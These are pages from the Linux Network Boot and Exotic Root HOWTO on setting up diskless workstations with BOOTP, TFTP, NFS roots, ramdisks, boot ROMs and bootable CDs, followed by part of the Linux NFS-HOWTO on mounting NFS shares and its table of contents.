  • RARP: this is the simplest of these protocols. However I guess it does not enable the server to specify how the client should download the kernel, so we won't use it (In fact, there is a convention that uses the IP address of the workstation as filename, e.g. a client getting the address 192.168.42.12 by RARP might ask for /tftpboot/192.168.42.12 by TFTP, as the linux kernel does. The filename might also be the hex form of the IP address, this is implementation dependant, and is not mandatory.).

  • BOOTP: this protocol allows a server to provide the client (identified by its hardware MAC address) with much information, in particular its IP address, subnet mask, broadcast address, network address, gateway address, host name, and kernel loading path. This is the one we will use.

  • DHCP: this is an extension of BOOTP.

2.2. Loading the kernel

When the client has got its IP parameters, if the kernel is not on a local support (like a floppy, a cdrom, or a hard drive), the client will start to download it via TFTP. Its location is given by the BOOTP/DHCP server. A server (not necessarily the BOOTP/DHCP server) will also have to run a TFTP daemon for non local kernels. The kernel one obtains after compilation can not be used "as is" for BOOTP/DHCP operation, its binary image has to be modified with the mknbi utility (and then modified again with the imggen utility if you use LanWorks EPROMs). The mknbi utility should also be used to modify kernels that will be written in a ROM.

2.3. Mounting the root filesystem

After the kernel has started, it will try to mount its root filesystem. The location of this filesystem is also obtained through BOOTP/DHCP, and it is mounted via NFS. It means a client may use BOOTP twice for booting: the first time to get its kernel, and the second time to learn the location of the root filesystem (which may be on a third server).

Another solution is to use a ramdisk as root filesystem. In this case, the ramdisk image is obtained with the kernel via TFTP.

2.4. Terminating the boot process

When the root filesystem is mounted, you can start breathing: you can at least use your swiss army knife with its sh, sed, and awk blades. In fact, you will have to customize the initialization scripts of the client's filesystem: for instance, you will have to remove all hard drive, floppy or cdrom related stuff from /etc/fstab (when your stations are not equipped with these devices), you may also have to inhibit swap partitions activation (note there is a way to swap over NFS or network block devices). You also will have to automagically generate all network configuration files at boot time if several clients use the same remote root filesystem.

Prev | Home | Next
Introduction |  | Building the kernel


Building the kernel

Network Boot and Exotic Root HOWTO
Prev Next

3. Building the kernel

Firs of all, build a kernel for the clients. I suggest you build it on the server, this will be useful later for modules installation. Use a zImage to reduce its size. Include everything you need, but try to use as many modules as possible, because many BOOTP client implementations are unable to load very large kernels (at least on intel x86 architectures). Also include iramdisk support, NFS protocol support, root filesystem on NFS support, support for your NIC, kernel level IP autoconfiguration via BOOTP; do not use modules for these! Then, if you plan to use the same remote root filesystem for several clients, add support for ext2fs or some other filesystem and ramdisks (16 Megabytes ramdisks will do fine on most systems). You can then modify the kernel arguments as usual (see the BootPrompt-HOWTO for information on this topic), but you will have another opportunity to modify kernel arguments later.

Then, if you plan to use BOOTP, copy the kernel zImage on the server. We will assume it resides in /tftpboot, its name is zImage, the name of the image you want to create from this zImage for BOOTP operation is kernel, and the nfs root filesystem will reside in /nfsroot.

Issue the following commands on the server (the mknbi package should be installed):
      # cd /tftpboot
      # chmod 0555 zImage
      # chown root:root zImage
      # mknbi-linux zImage --output=kernel --rootdir=/nfsroot

If you are using LanWorks EPROMs, also issue the following commands (you need the imggen utility):
      # mv -f kernel tmpkernel
      # imggen -a tmpkernel kernel
      # rm -f tmpkernel

Your kernel is ready for BOOTP/DHCP/ROM operation. You of course don't need to do this if you plan to use a local drive.

3.1. When the root filesystem is on a ramdisk

It is possible to use a ramdisk for the root filesystem. In this case, the command used to modify the kernel's binary image is slightly different. If you choose to do so, you have to enable support for initial ramdisk (initrd), and you probably don't need NFS support, or you probably can compile it as a module.

Its time to give an overview of what happens when you use initrd. The full documentation for this is in your kernel source tree, in the Documentation/initrd.txt file. I have to warn you I did never try this :).

When initrd is enabled, the boot loader first loads the kernel and the inital ramdisk into memory. Then, the ramdisk is mounted read-write as root filesystem. The kernel looks for a /linuxrc file (a binary executable or a script beginning with #!). When /linuxrc terminates, the traditionnal root filesystem is mounted as /, and the usual boot sequence is performed. So, if you want to run your box entirely from ramdisk, you just have to create a link from /linuxrc to /sbin/init, or to write there a shell script to perform any action you like, and then shutdown the computer.

After the kernel has been compiled, you have to build a root filesystem for your installation. This is explained in the "Clients setup, creation of the root filesystem" section. I will assume here that this is already done and that the root filesystem for your clients temporarily resides in /tmp/rootfs. You now have to create a ramdisk image. A simple way to do so is the following:

  • Make sure the computer you are working on has support for ramdisks and has such a device (/dev/ram0).

  • Create an empty filesystem with the appropriate size on this ramdisk:
              # mke2fs -m0 /dev/ram0 300

  • Mount it somewhere:
              # mount -t ext2 /dev/ram0 /mnt

  • Copy what you need for your new root filesystem, and create your future /linuxrc if you did not create it in /tmp/rootfs/linuxrc:
              # cp -a /tmp/rootfs/* /mnt

  • Unmount the ramdisk:
              # umount /mnt

  • Save the ramdisk image to some file and free it:
              # dd if=/dev/ram0 of=initrd bs=1024 count=300
          # freeramdisk /dev/ram0

What was toled above about LanWorks PROMs is also true if you use initrd.

Then, you have to modify the kernel image, as was told above, with the mknbi-linux utility. Its invocation will slightly differ from the above, though (I will assume your just compiled zImage resides in /tftpboot/zImage and your initial ramdisk image resides in /tmp/initrd):
        # cd /tftpboot
        # chmod 0555 zImage
        # chown root:root zImage
    # rdev zImage /dev/ram0
        # mknbi-linux zImage --output=kernel --rootdir=/dev/ram0 /tmp/initrd

Prev | Home | Next
Diskless booting operation overview |  | Daemons setup


Daemons setup

Network Boot and Exotic Root HOWTO
Prev Next

4. Daemons setup

4.1. NFS daemon

Just export the directory in which the client's root filesystem will reside (see the exports manpage for more information about this topic). The simplest is to export it no_root_squash and rw, but a perfect setup would export most of the root filesystem root_squash and ro, and have separate lines in the /etc/exports for directories which really require no_root_squash and/or rw. Just start with everything rw and no_root_squash, the fine tuning will be done later.

Of course, you don't need any NFS server at all if you plan to run your clients entirely from ramdisk.

4.2. BOOTP daemon

I assume you have installed the bootpd package. The default configuration file is /etc/bootptab, and its syntax is detailed in the bootptab manpage. Let's create it.

First, open as root your favourite text editor. It is vim. Yes, it is. If it is not, it has to become. Now, enter the following lines (they are the default attributes). All the attributes you give here and do not override in a machine's specific attributes list will be given to clients):
        .default\
                :sm=your subnet mask\
                :ds=the IP address of your DNS server\
                :ht=ethernet\
                :dn=your domain name\
                :gw=the IP address of your gateway\
                :sa=the IP address of the TFTP server\
                :bf=path to find the kernel image\
                :rp=path of the root filesystem\
                :hn
Of course, not all these parameters are required, this depends on your network configuration and BOOTP implementations, but these will work in most cases.

Then, add an entry per client in your network. An entry should look like this:
        dns of the client\
                :ha=MAC address of the client\
                :ip=IP address of the client
The MAC address above is the hexadecimal hardware address of the client without the ':' characters.

Here is a sample /etc/bootptab file:
              .default\
                      :sm=255.255.0.0\
                      :ds=192.168.0.2\
                      :ht=ethernet\
                      :dn=frtest.org\
                      :gw=192.168.0.1\
                      :sa=192.168.0.2\
                      :bf=/tftpboot/kernel\
                      :rp=/nfsroot\
                      :hn

              foo\
                      :ha=001122334455\
                      :ip=192.168.2.12

              bar\
                      :ha=00FFEEDDCCBB\
                      :ip=192.168.12.42\
                      :ds=192.168.2.42

Then, run the bootpd daemon with the bootpd -s command (it is also a good idea to add it to your startup scripts), or add the following line to your /etc/inetd.conf:
        bootps dgram udp wait root /usr/sbin/tcpd bootpd -i -t 120

If you want to test the BOOTP server, add an entry to your /etc/bootptab and use the bootptest program.

4.3. TFTP

Setting up the TFTP daemon is not the hard part: just install the tftpd package if you have one, and add the following line to your /etc/inetd.conf (again, I assume /tftpboot is the directory where the kernel image resides):
        tftp dgram udp wait root /usr/sbin/tcpd in.tftpd /tftpboot
Don't forget to chmod 555 the /tftpboot directory, as most TFTP servers won't send the files if they are not world readable.

You should be aware of the limitations implied by running the TFTP daemon from the inetd. Most inetd's will hsutdown a service if it is spawned to frequently. So if you have many clients, you should look for another inetd like xinetd, or run a standalone TFTP daemon.

Now you have properly setup all daemons, you can restart the inetd and take a coffee. Don't forget to tell everyone the server setup is over, so you think you're a hero before you start building the root filesystem for the clients.

Prev | Home | Next
Building the kernel |  | Clients setup, creation of the root filesystem


Clients setup, creation of the root filesystem

Network Boot and Exotic Root HOWTO
Prev Next

5. Clients setup, creation of the root filesystem

Tired? No you're not. Remember you're a hero. Here comes the tricky part. We will (err... you will) build the client's root filesystem. This shouldn't be very hard, but you probably will have to use trial and error.

The simplest way to create a root filesystem is to use an already working filesystem and customize it for the needs of diskless operation. Of course, you can also build one by hand (like in the good old times) if you like:=), but I won't explain this here.

5.1. Creating the first files and directories

First, cd to your future station's root directory. You can safely create the future /home directory with the mkdir, or by copying it from anywhere you want (you can use cp -a to do a recursive copy preserving owners, groups, symlinks, and permissions). Same thing for the future /mnt, /root, /tmp (don't forget to chmod 0 it, this is only a mount point for the actual /tmp we will use, because each workstation needs to have its own /tmp). Then, copy some existing /bin, /sbin, /boot, and /usr into this future root directory (use cp -a). You can create the /proc directory with mkdir, and chmod 0 it. Note some applications need write access to their user's home directory.

The /lib directory can be safely copied from somewhere else, but you will have to put the proper modules in it. To do so, use the following commands (assuming you have compiled the kernel for your clients on the server in /usr/src/linux, and the root filesystem will reside in /nfsroot):
        # cd /usr/src/linux
        # make modules_install INSTALL_MOD_PATH=/nfsroot

Don't forget to put the System.map file in /nfsroot/boot. A first problem we will have to fix is that, depending on your configuration, your system may try to run fsck on the root filesystem at boot time. It shouldn't if there is no hard drive in the box. Most distributions will also skip this fsck if they find a fastboot file in the root directory. So, issue the following commands if you do not plan to mount any hard drive:
        # cd /nfsroot
        # touch fastboot
        # chmod 0 fastboot
Another method is tell fsck that checking a NFS filesystem always succeeds:
      # cd /nfsroot/sbin
      # ln -s ../bin/true fsck.nfs

The /dev directory can also be safely copied from another place into /nfsroot. But permissions and symlinks have to be preserved, so use cp -a. Another solution is to use kernel 2.2.x devfs feature, which will reduce memory consumption and improve performance, but the drawback of this method is that all symlinks created in /dev will be lost. The point to remember is that each workstation needs to have its own /dev, so you will have to copy it on a ramdisk if you plan to use several clients and not to use devfs.

5.2. The /var and /etc directories

We will use ramdisks for these directories, because each client needs to have its own one. But we still need them at the beginning to create their standard structure. Note you are not required to do so if you use a single client. So copy these directories (cp -a) from another place into /nfsroot. Then you can make some cleanup in /var: you can remove everything in /nfsroot/var/log and /nfsroot/var/run. You also probably can remove everything in /nfsroot/var/spool/mail, if you plan to export it via NFS. You also will have to remove the files containing host specific information in /nfsroot/etc to build them on the fly during the boot process.

The startup scripts will have to be customized in order to mount some parts of the filesystem: the /dev directory, if you don't use devfs, the /tmp, the /var, and the /etc directories. Here is some code which will achieve this:
        # this part only if you don't use devfs
        mke2fs -q -i 1024 /dev/ram0 16384
        mount -n -t ext2 -o rw,suid,dev,exec, \
            async,nocheck /dev/ram0 /dev
        # this part for everyone
        mke2fs -q -i 1024 /dev/ram1 16384
        mount -n -t ext2 -o rw,suid,dev,exec, \
            async,nocheck /dev/ram1 /tmp
        chmod 1777 /tmp
        cp -a /etc /tmp
        mke2fs -q -i 1024 /dev/ram2 16384
        mount -n -t ext2 -o rw,suid,dev,exec, \
            async,nocheck /dev/ram2 /etc
        find /tmp/etc -maxdepth 1 -exec cp -a '{}' /etc ';'
        mount -f -t ext2 -o rw,suid,dev,exec, \
            async,nocheck,remount /dev/ram2 /etc
        mount -f -o remount /
        cp -a /var /tmp
        mke2fs -q -i 1024 /dev/ram3 16384
        mount -t ext2 -o rw,suid,dev,exec, \
            async,nocheck /dev/ram3 /var
        find /tmp/var -maxdepth 1 -exec cp -a '{}' /var ';'

If you plan to use more than a single client, you will also have to change files dynamically at boot time in /etc: the files which contain the IP and hostname of the client. These files depend on your distribution, but you will easily find them with a few greps. Just remove client-specific information from them, and add code into your startup files to generate this information again at boot time but only once the new /etc has been mounted on the ramdisk! A way to obtain your IP address and hostname at bootup is the following (if you have the bootpc package installed on the workstations'filesystem):
        IPADDR="$(bootpc | awk '/IPADDR/ \
                                {
                                  match($0,"[A-Za-z]+")
                                  s=substr($0,RSTART+RLENGTH)
                                  match(s,"[0-9.]+")
                                  print substr(s,RSTART,RLENGTH)
                                }
                               ')"

        HOST="$(bootpc | awk '/HOSTNAME/ \
                              {
                                match($0,"[A-Za-z]+")
                                s=substr($0,RSTART+RLENGTH)
                                match(s,"[A-Za-z0-9-]+")
                                print substr(s,RSTART,RLENGTH)
                              }')"

        DOMAIN="$(bootpc | awk '/DOMAIN/ \
                                {
                                  match($0,"[A-Za-z]+")
                                  s=substr($0,RSTART+RLENGTH)
                                  match(s,"[A-Za-z0-9-.]+")
                                  print substr(s,RSTART,RLENGTH)
                                }')"
This is a complicated solution, but I guess it should work on most sites. The IP address can alternatively be obtained with the output of ifconfig and the hostname can be obtained from the output of the host command, but this is not portable, because these outputs differ from system to system depending on the distribution you are using, and the locales settings.

Then, the hostname should be set with the hostname $HOSTNAME command. When this is done, it is time to generate on the fly the configuration files which contain the IP address or the hostname of the client.

5.3. Last details

Now, it's time to do the fine tuning of the client. As /var will be mounted on a ramdisk (unless you have a single client), you will have to send the logs to a logs server if you want to keep them. One way to do that is to delete the /nfsroot/etc/syslog.conf file and replacing it by the following file (see man syslog.conf for details):
        *.*     /dev/tty12
        *.*     @dns or IP of the logs server
If you do so, the logs server will have to run syslogd with the -r option (see the syslogd manual page).

If you use logrotate and you have done the preceding operation, you should replace the logrotate configuration file (/etc/logrotate.conf on most boxes) by an empty file:
        # rm -f /etc/logrotate.conf
        # touch /etc/logrotate.conf
If you don't use it, just remove the logs rotation scripts from the crontab, and as you no longer have log files in /var/log, put an exit 0 at the beginning of your logs rotation scripts.

In the /nfsroot/etc/fstab file, remove anything related to the hard drive, floppy disk reader, or cdrom if you don't have such devices on your workstations. Add an entry for the /var/spool/mail directory, which should be exported by the server through NFS or any other network filesystem. You probably also want to put an entry for the /home directory in this file.

You can also comment the lines running newaliases, activating swap, and running depmod -a and remove the /nfsroot/etc/mtab file. Comment out the line(s) removing /fastboot, /fsckoptions, and /forcefsck in your startup scripts. Also remove or comment any line in the startup scripts that would try to write on the root filesystem except for really necessary writes, which should all be redirected to some ramdisk location if you use several clients.

5.4. Trial...

Time has come for a small trial. MAKE A BACKUP OF YOUR NEWLY CREATED /nfsroot. tar -cvvIf should do fine. Take a minute to verify we didn't forget anything. Try to boot a client.

5.5. And Error!

Look carefully at the client's screen during the boot process. Oh, I didn't tell you to connect a screen... Run, forest! Run an get one. You will probably see some error messages. Fix the problems, and make frequent backups of your /nfsroot. One day, the client will boot properly. This day, you will have to fix errors occurring during shutdown;=P.

Prev | Home | Next
Daemons setup |  | Several ways of obtaining the bootloader's code


Several ways of obtaining the bootloader's code

Network Boot and Exotic Root HOWTO
Prev Next

6. Several ways of obtaining the bootloader's code

We have spoken so far about the client and server's configuration for operation after the BOOTP request has been issued by the client, but the first problem is that most computers are not able to behave as BOOTP clients by default. We will see in this section how to fix this.

6.1. BOOTP or DHCP capable NICs

This is the most simple case: some network cards provide a supplement to the BIOS, containing a BOOTP or DHCP client, so just setup them for BOOTP or DHCP operation in the BIOS, and you're done.

6.2. Local floppy or hard drive

These cases are also quite simple: the kernel is loaded from a local drive, and all the kernel has to do is to obtain its network parameters from BOOTP, and mount its root filesystem over NFS; this should not cause any problem. By the way, a local hard drive is a good place to leave a /var, /tmp, and a /dev...

If you have a local hard drive, all you have to do is to use lilo or your favourite boot loader as usual. If you use a floppy, you can use a bootloader or simply write the kernel on the floppy: a kernel is directly bootable.This enables you to use a command like the following:
      # dd if=zImage of=/dev/fd0 bs=8192

6.3. Creating ROMs for the clients

Many network cards include a slot in which one can insert an EPROM with additional BIOS code. This enables one to add, for instance, BOOTP capabilities to the BI0S. To do so, you will first have to find how to enable the EPROM socket. You may need a jumper or a special software to do so. Some cards like the 3Com 905B have slots for EEPROMs which enable one to change the software in the EEPROM in place. In appendix, you'll find the information about EPROM and various types of memory chips.

For a list of EPROM burner manufacturers visit the Yahoo site and go to economy->company->Hardware->Peripherals->Device programmers or check out the old Diskless-HOWTO List of EPROM burner manufacturers section.

If you choose to create your own ROMS, you will have to load a BOOTP or DHCP capable software in the ROM, and then, you will be in the case of BOOTP or DHCP capable NICs described above.

You will also need to find the proper EPROM size and speed for your NIC. Some methods to do so are provided in appendix, because the NICs manufacturers often do not provide this information.

6.3.1. LanWorks BootWare PROMs

This information may save you time. In order to make LanWorks BootWare(tm) PROMs to correctly start up a linux kernel image, the "bootsector" part of the image must be modified so as to enable the boot prom to jump right into the image start address. The net-bootable image format created by netboot/etherboot's `mknbi-linux' tool differs and will not run if used with BootWare PROMs.

A modified bootsector together with a Makefile to create a BootWare-bootable image after kernel compilation can be found at:

  • Bwimage package: ftp://ftp.ipp.mpg.de/pub/ipp/wls/linux/bwimage-0.1.tgz

  • See also http://www.patoche.org/LTT/net/00000096.html

  • LanWorks BootWare Boot ROMs: http://www.3com.com/lanworks

Refer to the README file for installation details. Currently, only "zImage"-type kernels are supported. Unfortunately, kernel parameters are ignored.

This section was initially written by Jochen Kmietsch for the Diskless-HOWTO, email to: <jochen.kmietsch@tu-clausthal.de> for any questions.

6.4. Local CDROM

This section was originally written by Hans de Goede <j.w.r.degoede@et.tudelft.nl> for the Diskless-root-NFS-HOWTO. I modified it slightly in order to reflect some differences between this document and the Diskless-root-NFS-HOWTO.

Much of the above also goes for booting from cdrom. Why would one want to boot a machine from cdrom? Booting from cdrom is interesting everywhere one wants to run a very specific application, like a kiosk, a library database program or an internet cafe, and one doesn't have a network or a server to use a root over nfs setup.

6.4.1. Creating a test setup

Now that we know what we want to do and how, it's time to create a test setup:

  • For starters just take one of the machines which you want to use and put in a big disk and a cd burner.

  • Install your linux of choice on this machine, and leave a 650 MB partition free for the test setup. This install will be used to make the iso image and to burn the cd's from, so install the necessary tools. It will also be used to restore any booboo's which leave the test setup unbootable.

  • On the 650 mb partition install your linux of choice with the setup you want to have on the cd, this will be the test setup.

  • Boot the test setup.

  • Compile a kernel with isofs and cdrom support compiled in.

  • Configure the test setup as described above with the root filesystem mounted read only.

  • Verify that the test setup automagically boots and everything works.

  • Boot the main install and mount the 650 MB partition on /test of the main install.

  • Put the following in a file called /test/etc/rc.d/rc.iso, this file will be sourced at the beginning of rc.sysinit to create /var:
                    #/var
                echo Creating /var ...
                mke2fs -q -i 1024 /dev/ram1 16384
                mount /dev/ram1 /var -o defaults,rw
                cp -a /lib/var /

  • Edit /test/etc/rc.sysinit, comment the lines where the root is remounted rw, and add the following 2 lines directly after setting the PATH:
                    #to boot from cdrom
                . /etc/rc.d/rc.iso

  • Copy the following to a script and execute it to make a template for /var and create /tmp and /etc/mtab links.

                #!/bin/sh
                echo tmp
                rm -fR /test/tmp
                ln -s var/tmp /test/tmp

                ###
                echo mtab
                touch /test/proc/mounts
                rm /test/etc/mtab
                ln -s /proc/mounts /test/etc/mtab

                ###
                echo var
                mv /test/var/lib /test/lib/var-lib
                mv /test/var /test/lib
                mkdir /test/var
                ln -s /lib/var-lib /test/lib/var/lib
                rm -fR /test/lib/var/catman
                rm -fR /test/lib/var/log/httpd
                rm -f /test/lib/var/log/samba/*
                for i in `find /test/lib/var/log -type f`; do
                  cat /dev/null > $i;
                done
                rm `find /test/lib/var/lock -type f`
                rm `find /test/lib/var/run -type f`

  • Remove the creation of /etc/issue* from /test/etc/rc.local: it will only fail.

  • Now boot the test partition again, it will be read only just like a cdrom. If something doesn't work reboot to the working partition fix it, try again etc. Or you could remount / rw, fix it, then reboot straight into to test partition again. To remount / rw type:
                    # mount -o remount,rw /

6.4.2. Creating the CD

If you need more information than you can find below, please refer to the CD-Writing-HOWTO.

6.4.2.1. Creating a boot image

First of all, boot into the working partition. To create a bootable cd we'll need an image of a bootable floppy. Just dd-ing a zImage doesn't work since the loader at the beginning of the zimage doesn't seem to like the fake floppydrive a bootable cd creates. So we'll use syslinux instead.

  • Get boot.img from a redhat cd.

  • Mount boot.img somewhere through loopback by typing:
                    # mount boot.img somewhere -o loop -t vfat

  • Remove everything from boot.img except for ldlinux.sys and syslinux.cfg.

  • Cp the kernel-image from the test partition to boot.img.

  • Edit syslinux.cfg so that it contains the following, of course replace zImage by the appropriate image name:

                default linux

                label linux
                kernel zImage
                append root=/dev/<insert your cdrom device here>

  • Umount boot.img:
                    # umount somewhere

  • If your /etc/mtab is a link to /proc/mounts, umount won't automagically free /dev/loop0 so free it by typing:
                    # losetup -d /dev/loop0

6.4.2.2. Creating the iso image

Now that we have the boot image and an install that can boot from a readonly mount it's time to create an iso image of the cd:

  • Copy boot.img to /test

  • Cd to the directory where you want to store the image and make sure it's on a partition with enough free space.

  • Now generate the image by typing:
                      # mkisofs -R -b boot.img -c boot.catalog -o boot.iso /test

6.4.2.3. Verifying the iso image

  • Mounting the image through the loopbackdevice by typing:
                      # mount boot.iso somewhere -o loop -t iso9660

  • Umount boot.iso:
                      # umount somewhere

  • If your /etc/mtab is a link to /proc/mounts umount won't automagically free /dev/loop0 so free it by typing:
                    # losetup -d /dev/loop0

6.4.2.4. Writing the actual CD

Assuming that you've got cdrecord installed and configured for your cd-writer type:
            # cdrecord -v speed=<desired writing speed> dev=<path to your writers generic scsi device> boot.iso

6.4.3. Boot the cd and test it

Well the title of this paragraph says it all;)

Prev | Home | Next
Clients setup, creation of the root filesystem |  | How to create diskless MS-Windows stations?


How to create diskless MS-Windows stations?

Network Boot and Exotic Root HOWTO
Prev Next

7. How to create diskless MS-Windows stations?

Since MS-Windows does not support diskless booting, a simple workaround is presented here: the solution is to use software like VMWare or its free alternative, FreeMWare. These enable MS-Windows to be executed transparently on the linux box.

Prev | Home | Next
Several ways of obtaining the bootloader's code |  | Troubleshooting, tips, tricks, and useful links


Troubleshooting, tips, tricks, and useful links

Network Boot and Exotic Root HOWTO
Prev Next

8. Troubleshooting, tips, tricks, and useful links

8.1. The netboot distribution

This distribution contains a bootloader enabling one to boot diskless stations with either Linux or DOS. This is an alternative to the usage of etherboot.

8.2. Reducing diskless workstations'memory usage

One simple way to reduce memory consumption is to put several dynamically created directories on the same ramdisk. For instance, let's say the first ramdisk will contain the /tmp directory. Then, one may move the /var/tmp directory on that ramdisk with the following commands issued on the server:
        # mkdir /nfsroot/tmp/var
        # chmod 0 /nfsroot/tmp/var
        # ln -s /tmp/var /nfsroot/var/tmp

Another good way to reduce memory consumption if you don't have local hard drives and do not swap over a network block device is to disable the Swapping to block devices option during kernel compilation.

8.3. Swapping over NFS

If your stations do not have enough memory and do not have local drives, you may want to swap over NFS. You have to be warned the cod eto do so is still under developpement and this method is generally quite slow. The full documentation for this can be found at http://www.instmath.rwth-aachen.de/~heine/nfs-swap/.

The first thing to do if you want to apply this solution is to patch your kernel (you need a kernel version 2.2 or above). First download the patch at the above url, and cd to /usr/src/linux. I assume the patch is in /usr/src/patch. Then issue the following command:
        # cat ../patch | patch -p1 -l -s
Then, compile your kernel normally and enable the Swapping via network sockets (EXPERIMENTAL) and Swapping via NFS (EXPERIMENTAL) options.

Then export a directory read-write and no_root_squash from the NFS server. Setup the clients so that they will mount it somewhere (say on /mnt/swap). It should be mounted with a rsize and wsize smaller than the page size used by the kernel (ie. 4 kilobytes on Intel architectures), otherwise your machine may run out of memory due to memory fragmentation; see the nfs manual page for details about rsize and wsize. Now, to create a 20 MB swap file, issue the following commands (which should be placed in the clients'initialization scripts):
        # dd if=/dev/zero of=/mnt/swap/swapfile bs=1k count=20480
    # mkswap /mnt/swap/swapfile
    # swapon /mnt/swap/swapfile
Of course, this was just for an example, because if you have several workstations, you will have to change the swap file name or directory, or all your workstations will use the same swap file for their swap...

Let's say a word about the drawbacks of NFS swapping: the first drawback is that it is generally slow, except you have specially fast network cards. Then, this possibility has not been very well tested yet. At last, this is not secure at all: anyone on the network is able to read the swapped data.

8.4. Swapping over network block devices

I have to warn you I never tryed this, and I would particularly appreciate feedback about this section.

The general principle for swapping over network block devices is the same than to swap over NFS. The good point is you won't have to patch the kernel. But most of the same drawbacks also apply to the NBD method.

To create a 20 MB swap file, you will have to first create it on the server, export it to the client, and do an mkswap on the file. Note that the mkswap must be done on the server, because mkswap uses system calls which are not handled by NBD. Moreover, this command must be issued after the server starts exporting the file, because the data on the file may be destroyed when the server starts exporting it. If we assume the server's name is NBDserver, the client's name is NBDclient, and the TCP port used for the export is 1024, the commands to issue on the server are the following:
        # dd if=/dev/zero of=/swap/swapfile bs=1k count=20480
    # nbd-server NBDclient 1024 /swap/swapfile
    # mkswap /swap/swapfile
Now, the client should use the following command:
        # swapon /dev/nd0

Again, this was just to show the general principle. The files'names should also be dependant on the workstations'names or IPs.

Another solution to swap over a network block device is to create an ext2 filesystem on the NBD, then create a regular file on this filesystem, and at last, use mkswap and swapon to start swapping on this file. This second method method is closer to the swap over NFS method than the first solution.

8.5. Getting rid of error messages about /etc/mtab or unmounted directories on shutdown

The following commands, issued on the server may solve the problem:
        # ln -s /proc/mounts /nfsroot/etc/mtab
        # touch /nfsroot/proc/mounts

8.6. Installing new packages on workstations

A simple way to do so is to use, on the server, a chroot and then execute your favourite installation commands normally. To chroot to the appropriate place, use the following command:
        # chroot /nfsroot

Debian users will be particularly interested in the --root option of dpkg, which simply tells dpkg where the root of the target system is.

Prev | Home | Next
How to create diskless MS-Windows stations? |  | Non-Volatile Memory chips


Setting up an NFS Client

Linux NFS-HOWTO
Prev Next

4. Setting up an NFS Client

4.1. Mounting remote directories

Before beginning, you should double-check to make sure your mount program is new enough (version 2.10m if you want to use Version 3 NFS), and that the client machine supports NFS mounting, though most standard distributions do. If you are using a 2.2 or later kernel with the /proc filesystem you can check the latter by reading the file /proc/filesystems and making sure there is a line containing nfs. If not, you will need to build (or download) a kernel that has NFS support built in.

To begin using machine as an NFS client, you will need the portmapper running on that machine, and to use NFS file locking, you will also need rpc.statd and rpc.lockd running on both the client and the server. Most recent distributions start those services by default at boot time; if yours doesn't, see Section 3.2 for information on how to start them up.

With portmapper, lockd, and statd running, you should now be able to mount the remote directory from your server just the way you mount a local hard drive, with the mount command. Continuing our example from the previous section, suppose our server above is called master.foo.com,and we want to mount the /home directory on slave1.foo.com. Then, all we have to do, from the root prompt on slave1.foo.com, is type:
   # mount master.foo.com:/home /mnt/home
and the directory /home on master will appear as the directory /mnt/home on slave1.

If this does not work, see the Troubleshooting section (Section 7).

You can get rid of the file system by typing
   # umount /mnt/home
just like you would for a local file system.

4.2. Getting NFS File Systems to Be Mounted at Boot Time

NFS file systems can be added to your /etc/fstab file the same way local file systems can, so that they mount when your system starts up. The only difference is that the file system type will be set to nfs and the dump and fsck order (the last two entries) will have to be set to zero. So for our example above, the entry in /etc/fstab would look like:
   # device       mountpoint     fs-type     options      dump fsckorder
   ...
   master.foo.com:/home  /mnt    nfs          rw            0    0
   ...

See the man pages for fstab if you are unfamiliar with the syntax of this file. If you are using an automounter such as amd or autofs, the options in the corresponding fields of your mount listings should look very similar if not identical.

At this point you should have NFS working, though a few tweaks may still be necessary to get it to work well. You should also read Section 6 to be sure your setup is reasonably secure.

4.3. Mount options

4.3.1. Soft vs. Hard Mounting

There are some options you should consider adding at once. They govern the way the NFS client handles a server crash or network outage. One of the cool things about NFS is that it can handle this gracefully. If you set up the clients right. There are two distinct failure modes:

soft

If a file request fails, the NFS client will report an error to the process on the client machine requesting the file access. Some programs can handle this with composure, most won't. We do not recommend using this setting; it is a recipe for corrupted files and lost data. You should especially not use this for mail disks --- if you value your mail, that is.

hard

The program accessing a file on a NFS mounted file system will hang when the server crashes. The process cannot be interrupted or killed (except by a "sure kill") unless you also specify intr. When the NFS server is back online the program will continue undisturbed from where it was. We recommend using hard, intr on all NFS mounted file systems.

Picking up the from previous example, the fstab entry would now look like:
   # device             mountpoint  fs-type    options    dump fsckord
   ...
   master.foo.com:/home  /mnt/home   nfs      rw,hard,intr  0     0
   ...

4.3.2. Setting Block Size to Optimize Transfer Speeds

The rsize and wsize mount options specify the size of the chunks of data that the client and server pass back and forth to each other.

The defaults may be too big or to small; there is no size that works well on all or most setups. On the one hand, some combinations of Linux kernels and network cards (largely on older machines) cannot handle blocks that large. On the other hand, if they can handle larger blocks, a bigger size might be faster.

Getting the block size right is an important factor in performance and is a must if you are planning to use the NFS server in a production environment. See Section 5 for details.

Prev | Home | Next
Setting Up an NFS Server |  | Optimizing NFS Performance


Linux NFS-HOWTO

Tavis Barr

tavis@mahler.econ.columbia.edu

Nicolai Langfeldt

janl@linpro.no

Seth Vidal

skvidal@phy.duke.edu

2000-12-28

Table of Contents
1. Preamble
1.1. Legal stuff
1.2. Disclaimer
1.3. Feedback
1.4. Translation
1.5. Dedication
2. Introduction
2.1. What is NFS?
2.2. What is this HOWTO and what is it not?
2.3. Knowledge Pre-Requisites
2.4. Software Pre-Requisites: Kernel Version and nfs-utils
2.5. Where to get help and further information
3. Setting Up an NFS Server
3.1. Introduction to the server setup
3.2. Setting up the Configuration Files
3.3. Getting the services started
3.4. Verifying that NFS is running
3.5. Making changes to /etc/exports later on
4. Setting up an NFS Client
4.1. Mounting remote directories
4.2. Getting NFS File Systems to Be Mounted at Boot Time
4.3. Mount options
5. Optimizing NFS Performance
5.1. Setting Block Size to Optimize Transfer Speeds
5.2. Packet Size and Network Drivers
5.3. Number of Instances of NFSD
5.4. Memory Limits on the Input Queue
5.5. Overflow of Fragmented Packets
5.6. Turning Off Autonegotiation of NICs and Hubs
5.7. Non-NFS-Related Means of Enhancing Server Performance
6. Security and NFS
6.1. The portmapper
6.2. Server security: nfsd and mountd
6.3. Client Security
6.4. NFS and firewalls (ipchains and netfilter)
6.5. Summary
7. Troubleshooting
7.1. Unable to See Files on a Mounted File System
7.2. File requests hang or timeout waiting for access to the file.
7.3. Unable to mount a file system
7.4. I do not have permission to access files on the mounted volume.
7.5. When I transfer really big files, NFS takes over all the CPU cycles on the server and it screeches to a halt.
7.6. Strange error or log messages
7.7. Real permissions don't match what's in /etc/exports.
7.8. Flaky and unreliable behavior
7.9. nfsd won't start
8. Using Linux NFS with Other OSes
8.1. AIX
8.2. BSD
8.3. Compaq Tru64 Unix
8.4. HP-UX
8.5. IRIX
8.6. Solaris
8.7. SunOS
Next
Preamble


